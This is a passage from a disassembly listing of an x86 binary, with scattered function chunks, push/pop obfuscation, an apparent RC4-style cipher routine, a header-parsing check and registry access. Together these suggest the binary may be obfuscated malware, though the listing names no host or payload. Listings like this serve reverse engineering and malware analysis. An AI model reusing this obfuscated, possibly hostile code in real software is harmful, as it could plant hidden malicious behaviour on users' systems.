		push	dword ptr [ebp-4040h]
		pop	eax
		inc	eax
		jmp	loc_9B4354
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B27D8	proc near		; CODE XREF: sub_9AB3B0+71A0j

; FUNCTION CHUNK AT 009AB32B SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009AD694 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009AF59C SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B01A7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B0F40 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B43CC SIZE 00000025 BYTES

		push	ebx
		pop	edi
		sub	edx, eax
		dec	edi


loc_9B27DD:				; CODE XREF: sub_9B27D8+Bj
		mov	cl, [edi+1]
		inc	edi
		or	cl, cl
		jnz	short loc_9B27DD
		jmp	off_9B9E5E
sub_9B27D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9B27EF:				; CODE XREF: sub_9B0FD0+4D8Dj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9B9632
		call	dword ptr [eax+1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B281C:				; CODE XREF: sub_9AF030+6150j
					; DATA XREF: .text:off_9B8ECEo
		push	[ebp+var_28]
		pop	edx
		cmp	edx, [edi]
		jnz	loc_9AC620
		jmp	loc_9B37E8
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B2830	proc near		; CODE XREF: sub_9B2F1C-4884p

; FUNCTION CHUNK AT 009AB7AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ABEF0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD190 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2680 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B3804 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 009B4318 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B4590 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B4901 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4B4C SIZE 0000000E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8870
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		sub	eax, eax
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], eax
		push	ecx
		pop	ebx
		push	1FFCh
		pop	ecx
		mov	edx, ebx
		mov	[ebp-4], eax
		call	sub_9B649C
		push	eax
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, 0Ah
		jb	loc_9AD190
		jmp	loc_9AB7AC
sub_9B2830	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9B2884:				; CODE XREF: sub_9B3FF8-82E8j
					; sub_9B3FF8-5BA3j ...
		mov	[ebp+var_1C], 0
		jmp	loc_9AF9C3
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B2890:				; CODE XREF: sub_9B4480-87D0j
					; DATA XREF: .text:off_9B9014o
		mov	[ebp+var_32C], ebx
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		lea	eax, [ebp+var_32C]
		push	eax
		push	edi
		push	esi
		push	esi
		lea	ecx, [ebp+var_120]
		push	ecx
		mov	eax, [ebp+var_330]
		push	eax
		call	dword ptr [edx+10h]
		test	eax, eax
		jnz	loc_9B46EF
		jmp	off_9BAAC8
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B28CC:				; CODE XREF: sub_9B3864-3664j
		mov	edx, [ebp+var_2028]
		mov	[ebp+var_2058],	edx
		call	sub_9B45AC
		xor	edx, edx
		cmp	edi, 6
		jnz	loc_9B2690
		jmp	loc_9AB02C
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B28F0:				; CODE XREF: sub_9AFB1C+62AFj
					; DATA XREF: .text:off_9B9575o
		mov	[esi+2], ax
		mov	eax, 10h
		mov	[ebp-1Ch], eax


loc_9B28FC:				; CODE XREF: sub_9AFB1C-1323j
		test	bl, 10h
		jz	loc_9ACDC0
		jmp	loc_9ACDB4
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B290C:				; CODE XREF: sub_9AB1A0-367j
					; sub_9AB1A0+5383j ...
		xor	edi, edi
		mov	[ebp-1Ch], edi


loc_9B2911:				; CODE XREF: sub_9AB1A0-36Dj
					; sub_9AB1A0+2B1Cj ...
		push	edi
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jz	loc_9AD304
		jmp	loc_9B1038
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B292C:				; CODE XREF: sub_9B3408-7670j
					; DATA XREF: .text:off_9BA938o
		push	dword ptr [ebp-130h]
		pop	edx
		cmp	edx, [ebp-128h]
		jnz	loc_9AB749
		jmp	loc_9AD158
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B2944:				; CODE XREF: sub_9B4950-7581j
					; sub_9B4950-181Dj
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	offset dword_9BBCE0
		call	dword ptr [ecx+18h]
		sub	ecx, ecx


loc_9B2958:				; CODE XREF: sub_9B4950-D6Fj
		mov	[ebp-1Ch], ecx
		cmp	ecx, 20h
		jge	loc_9AB2E8
		jmp	off_9B9E9F
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B296C:				; CODE XREF: sub_9ADAC4-1C86j
					; DATA XREF: .text:off_9BA6DFo
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	edi
		call	dword ptr [edx+38h]
		jmp	loc_9AE6B5
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B2984:				; CODE XREF: sub_9B649C-7AA1j
		lea	ecx, [eax+2]
		cmp	ecx, edi
		ja	loc_9ACCD8
		jmp	off_9BA4D5
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9B2998:				; CODE XREF: sub_9AEDD0+4466j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9BAD92
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B29B0	proc near		; CODE XREF: sub_9B2118:loc_9B2AE4p

; FUNCTION CHUNK AT 009AE9CC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B22D0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009B541B SIZE 00000028 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA69C
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 218h
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		sub	esi, esi
		mov	[ebp-18h], esp
		mov	[ebp-228h], esi
		mov	[ebp-4], esi
		lea	eax, [ebp-224h]
		push	eax
		push	3
		call	sub_9B4CF4
		add	esp, 8
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		push	esi
		lea	eax, [ebp-224h]
		push	eax
		call	dword ptr [edx+98h]
		or	eax, eax
		jnz	loc_9AE9CC
		jmp	off_9B901C
sub_9B29B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2A28:				; CODE XREF: sub_9B63D8-A94j
					; DATA XREF: .text:off_9BAD10o
		call	sub_9B45AC
		sub	edx, edx
		div	ebx
		push	dword ptr [esi+0Ch]
		pop	eax
		mov	ecx, [eax+edx*4]
		mov	ebx, [ecx]
		mov	[ebp-2178h], ebx
		push	ebx
		call	sub_9B3EFC
		jmp	off_9B9823
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B2A4C:				; CODE XREF: sub_9B4950-194j
		mov	dword_9BEC24[edi], 1
		push	dword_9BEC2C[edi]
		pop	ebx
		mov	ecx, [ebp-20h]
		push	ecx
		lea	esi, [ebp-4Ch]
		mov	eax, ebx
		call	sub_9AC250
		push	dword ptr [ebp-4Ch]
		pop	edx
		push	edx
		push	ebx
		push	off_9B9F6A
		call	sub_9ABF08
		mov	dword_9BEC34[edi], eax
		push	dword ptr [ebp-48h]
		pop	eax
		push	eax
		mov	ecx, dword_9BEC2C[edi]
		push	ecx
		push	off_9BB054
		call	sub_9ABF08
		mov	dword_9BEC38[edi], eax
		mov	edx, [ebp-44h]
		push	edx
		push	dword_9BEC2C[edi]
		pop	eax
		push	eax
		jmp	off_9B8F85
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4


loc_9B2AB4:				; CODE XREF: .text:009AE668j
					; .text:009B20ABj
					; DATA XREF: ...
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		call	dword ptr [edx+30h]
		sub	eax, esi
		cmp	eax, 3E8h
		jb	loc_9AE654
		jmp	off_9BACBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B2AD4:				; CODE XREF: sub_9B03E8-F06j
		cmp	eax, 80000000h
		jb	loc_9B6224
		jmp	loc_9B42D0
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9B2AE4:				; CODE XREF: sub_9B2118-26D3j
		call	sub_9B29B0
		test	eax, eax
		jz	loc_9B034B
		jmp	loc_9B0570
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B2AF8:				; CODE XREF: sub_9ADAC4+1F6Cj
		cmp	edi, 0FFFFFFFFh
		jz	loc_9AE6B5
		jmp	loc_9AD64C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9B2B08:				; CODE XREF: sub_9B037C-3268j
					; sub_9B037C+5B22j
		test	al, 4
		jz	loc_9AB9A8
		jmp	loc_9ABFEC
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4
off_9B2B18	dd offset loc_9ACC20	; DATA XREF: sub_9ADDA4:loc_9B1C08r
		dd offset loc_9AF1E0
		dd offset loc_9AC55C
		dd offset loc_9AC9C8
		dd offset loc_9AC9C8
		dd offset loc_9AF238
		dd offset loc_9AF238
		dd offset loc_9B2BE4
		dd offset loc_9B2BE4
		dd offset loc_9B2BE4
; ---------------------------------------------------------------------------
		mov	dword_9BCB98, 0
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B2B4C:				; CODE XREF: sub_9B03E8+5E4Fj
		mov	esi, 1


loc_9B2B51:				; CODE XREF: sub_9B03E8+3EEAj
		mov	[ebp-150h], esi
		call	sub_9B2490
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 2000h
		call	sub_9ACD20
		neg	eax
		sbb	eax, eax
		and	eax, 1000h
		or	ebx, eax
		call	sub_9B3618
		neg	eax
		sbb	eax, eax
		and	eax, 800h
		or	ebx, eax
		call	sub_9AF704
		neg	eax
		sbb	eax, eax
		and	eax, 400h
		or	ebx, eax
		neg	esi
		sbb	esi, esi
		and	esi, 200h
		or	ebx, esi
		neg	edi
		sbb	edi, edi
		and	edi, 100h
		or	ebx, edi
		mov	word ptr dword_9BF380, bx
		mov	dword ptr [ebp-0B0h], 94h
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		lea	edx, [ebp-0B0h]
		push	edx
		call	dword ptr [ecx+90h]
		and	eax, eax
		jz	loc_9B56A0
		jmp	loc_9B394C
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B2BE4:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B34o ...
		lea	edx, [edi-3]
		mov	[ebp-20h], edx
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B2BF0:				; CODE XREF: sub_9ABF08+768Fj
					; DATA XREF: .text:off_9B8CD6o
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AF20F
		jmp	off_9BA0C1
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9B2C00:				; CODE XREF: sub_9B46CC-229Dj
		mov	eax, 54A9D400h


loc_9B2C05:				; CODE XREF: sub_9B46CC-22A3j
					; sub_9B46CC+169Ej
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	ecx
		lea	edx, [eax-54600h]
		push	6EF5DE4Dh
		pop	eax
		mul	edx
		shr	edx, 12h
		push	edx
		push	off_9BA96D
		call	dword ptr [ecx+34h]


loc_9B2C2A:				; CODE XREF: sub_9B46CC-57F3j
		mov	eax, dword_9BEC14
		retn
; END OF FUNCTION CHUNK	FOR sub_9B46CC

; =============== S U B	R O U T	I N E =======================================



sub_9B2C30	proc near		; CODE XREF: sub_9AB11C+22p

; FUNCTION CHUNK AT 009B6039 SIZE 00000003 BYTES

		push	esi
		push	edi
		push	ecx
		pop	edi
		mov	esi, edx
		test	edi, edi
		jz	loc_9B6039
		jmp	sub_9ADE44
sub_9B2C30	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF704


loc_9B2C44:				; CODE XREF: sub_9AF704+2Dj
					; DATA XREF: .text:off_9B9534o
		mov	[ebp-4], eax
		mov	eax, 1
; END OF FUNCTION CHUNK	FOR sub_9AF704
; ---------------------------------------------------------------------------
		dd 0B073F0Fh, 1E445C7h,	0E9000000h, 2077h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B2C5C:				; CODE XREF: sub_9B1A08-36C2j
					; sub_9B1A08+2EDDj
		mov	eax, [ebp+var_41E4]


loc_9B2C62:				; CODE XREF: sub_9B1A08-307Dj
		test	eax, eax
		jz	loc_9B17C7
		jmp	loc_9AF0A8
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B2C70	proc near		; CODE XREF: sub_9B1F68-3EB6j

; FUNCTION CHUNK AT 009AD0D8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AD668 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AE9B4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B01C4 SIZE 00000017 BYTES

		push	ebx
		call	dword ptr [ecx+50h]
		mov	[ebp-58h], eax
		test	eax, eax
		jnz	loc_9AD0D8
		jmp	off_9B8D42
sub_9B2C70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2C88:				; CODE XREF: sub_9B0930+2E9j
					; DATA XREF: .text:off_9BAD59o
		push	dword ptr [eax+10h]
		pop	edx
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	loc_9AD254
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B2C9C:				; CODE XREF: sub_9ACEE8+78F0j
		or	ebx, ebx
		jnz	loc_9AC65C
		jmp	off_9B9F82
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2CB4:				; CODE XREF: sub_9B63D8-9AD8j
					; DATA XREF: .text:off_9BAAC4o
		cmp	dword ptr [eax+ebp-2120h], 0A0D0A0Dh
		jnz	loc_9B60CC
		jmp	off_9B8E9C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B2CCC:				; CODE XREF: sub_9B4CF4+43j
		push	offset dword_9BBD34
		pop	eax
		mov	edx, eax


loc_9B2CD4:				; CODE XREF: sub_9B4CF4-201Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9B2CD4
		jmp	off_9B9518
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9B2CE4:				; CODE XREF: sub_9B327C-8168j
					; DATA XREF: .text:off_9BA137o
		and	eax, 0F0FFh
		cmp	eax, 10ACh
		jz	loc_9B4264
		jmp	off_9BA3CC
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9B2CFC:				; CODE XREF: sub_9B5FC0-3EAEj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		push	[ebp+var_128]
		pop	ecx
		push	ecx
		call	dword ptr [eax+14h]


loc_9B2D12:				; CODE XREF: sub_9B5FC0-3EB4j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		mov	ecx, [ebp+var_124]
		push	ecx
		call	dword ptr [eax+14h]


loc_9B2D27:				; CODE XREF: sub_9B5FC0-5EA2j
		inc	esi
		jmp	loc_9B6000
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9B2D30:				; CODE XREF: sub_9ACF9C+2D46j
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		push	dword ptr [ebp+0Ch]
		pop	esi
		xor	edx, edx
		mov	dx, [esi+2]
		push	edx
		call	dword ptr [ecx+28h]
		movzx	eax, ax
		push	eax
		push	dword ptr [esi+4]
		pop	ecx
		push	ecx
		mov	ecx, [ebx]
		sub	ecx, 200h
		mov	edx, [ebx+48h]
		push	edx
		push	1
		call	sub_9AFC28
		jmp	loc_9AF134
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B2D74:				; CODE XREF: sub_9B1D80+292Ej
					; DATA XREF: .text:off_9B98EAo
		test	ebx, ebx
		jnz	loc_9AB0A2
		jmp	off_9B925C
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0D34


loc_9B2D84:				; CODE XREF: sub_9B0D34-1471j
		mov	[edi], eax
		push	4
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_9B0D34
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2D8C:				; CODE XREF: sub_9B0930-4090j
					; DATA XREF: .text:off_9B89DDo
		push	dword ptr [eax+4]
		pop	edx
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	off_9B97D9
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B2DA0:				; CODE XREF: sub_9ADAC4-21C8j
					; DATA XREF: .text:off_9B96ECo
		lea	ecx, [ebp+esi*4-84h]
		cmp	dword ptr [ecx], 0
		jz	loc_9ABFB9
		jmp	off_9BA66F
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2DB8:				; CODE XREF: sub_9B0930+1E88j
					; DATA XREF: .text:off_9B8E29o
		push	off_9BA370
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+8], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+8]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE390
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2DEC:				; CODE XREF: sub_9B63D8-7BA5j
					; DATA XREF: .text:off_9B9840o
		cmp	word ptr [ebx+ebp-20FBh], 0A0Dh
		jnz	loc_9B469E
		jmp	off_9BAF2C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2E04	proc near		; DATA XREF: .text:off_9BB054o

var_4058	= dword	ptr -4058h
var_4050	= dword	ptr -4050h
var_4044	= dword	ptr -4044h
var_4040	= dword	ptr -4040h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AB634 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AC13B SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009ACB90 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AF098 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B1064 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B240C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B273C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B504C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B572A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B6160 SIZE 00000028 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAFDF
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	4040h
		pop	eax
		call	__alloca_probe
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4044],	esi
		mov	eax, [esi+0Ch]
		mov	[ebp+var_4050],	eax
		sub	ebx, ebx
		mov	bx, [esi+10h]
		mov	[ebp+var_4058],	ebx
		mov	[ebp+var_4], 0
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4040],	edi
		push	11h
		movzx	ecx, bx
		push	ecx
		call	sub_9AE400
		test	eax, eax
		jz	loc_9B504C
		jmp	off_9BA39C
sub_9B2E04	endp

; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD7A4


loc_9B2E90:				; CODE XREF: sub_9AD7A4+ECj
					; DATA XREF: .text:off_9BAC17o
		mov	[eax], cl
		movzx	ecx, cl
		lea	ecx, [eax+ecx+2]
		mov	[esp+10h+var_1], bl
		mov	bl, [ecx]
		add	[eax+1], bl
		mov	bl, [eax+1]
		mov	[esp+10h+var_3], bl
		mov	bl, [ecx]
		movzx	esi, [esp+10h+var_3]
		mov	[esp+10h+var_4], bl
		mov	bl, [eax+esi+2]
		mov	[ecx], bl
		movzx	ecx, byte ptr [eax+1]
		mov	bl, [esp+10h+var_4]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax+1]
		mov	cl, [eax+ecx+2]
		movzx	esi, byte ptr [eax]
		add	cl, [eax+esi+2]
		movzx	ecx, cl
		movzx	eax, byte ptr [eax+ecx+2]
		xor	ecx, ecx
		mov	ch, dl
		movzx	edx, [esp+10h+var_1]
		pop	edi
		pop	esi
		pop	ebx
		mov	cl, [esp+4+var_2]
		shl	ecx, 8
		or	ecx, edx
		shl	ecx, 8
		or	eax, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_9AD7A4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B2F1C	proc near		; CODE XREF: sub_9ACA48+92p
					; sub_9B1D80-2059p ...

; FUNCTION CHUNK AT 009AB548 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ABB74 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AD444 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADA40 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009AE688 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009AF3D0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AF570 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B21B0 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 009B22F0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B528F SIZE 00000019 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA3F0
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	dword ptr [eax], 0
		mov	esi, [ebp+8]
		mov	ecx, 800h
		sub	eax, eax
		mov	edi, esi
		rep stosd
		push	0Ah
		pop	eax
		mov	[ebp-1Ch], eax
		mov	edi, [ebp+10h]
		sub	ebx, ebx
		test	edi, edi
		setnz	bl
		push	dword ptr [ebp+14h]
		pop	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		mov	edx, [ebp+34h]
		or	ebx, ecx
		neg	edx
		sbb	edx, edx
		and	edx, 80h
		or	ebx, edx
		sub	ecx, ecx
		cmp	dword ptr [ebp+18h], 6
		setnz	cl
		dec	ecx
		and	ecx, 4
		or	ebx, ecx
		mov	ecx, [ebp+1Ch]
		push	ecx
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 8
		or	ebx, edx
		push	dword ptr [ebp+20h]
		pop	edi
		push	edi
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 10h
		or	ebx, edx
		push	dword ptr [ebp+24h]
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 20h
		or	ebx, edx
		push	dword ptr [ebp+30h]
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 40h
		or	ebx, edx
		mov	[ebp-20h], ebx
		mov	[esi+8], bx
		test	bl, 8
		jz	loc_9B21DC
		jmp	off_9B9F7E
sub_9B2F1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9B2FEC:				; CODE XREF: sub_9AEC20+8F7j
		mov	ecx, off_9B9844
		call	sub_9B5480
		mov	dword_9BBE3C, esi
		mov	[ebp-228h], edi


loc_9B3003:				; CODE XREF: sub_9AEC20+8F1j
		lea	ecx, [ebp-228h]
		call	sub_9B5480
		lea	edx, [ebp-224h]
		push	edx
		push	7
		mov	eax, dword_9BBD28
		push	eax
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp-120h]
		push	80000002h
		pop	ecx
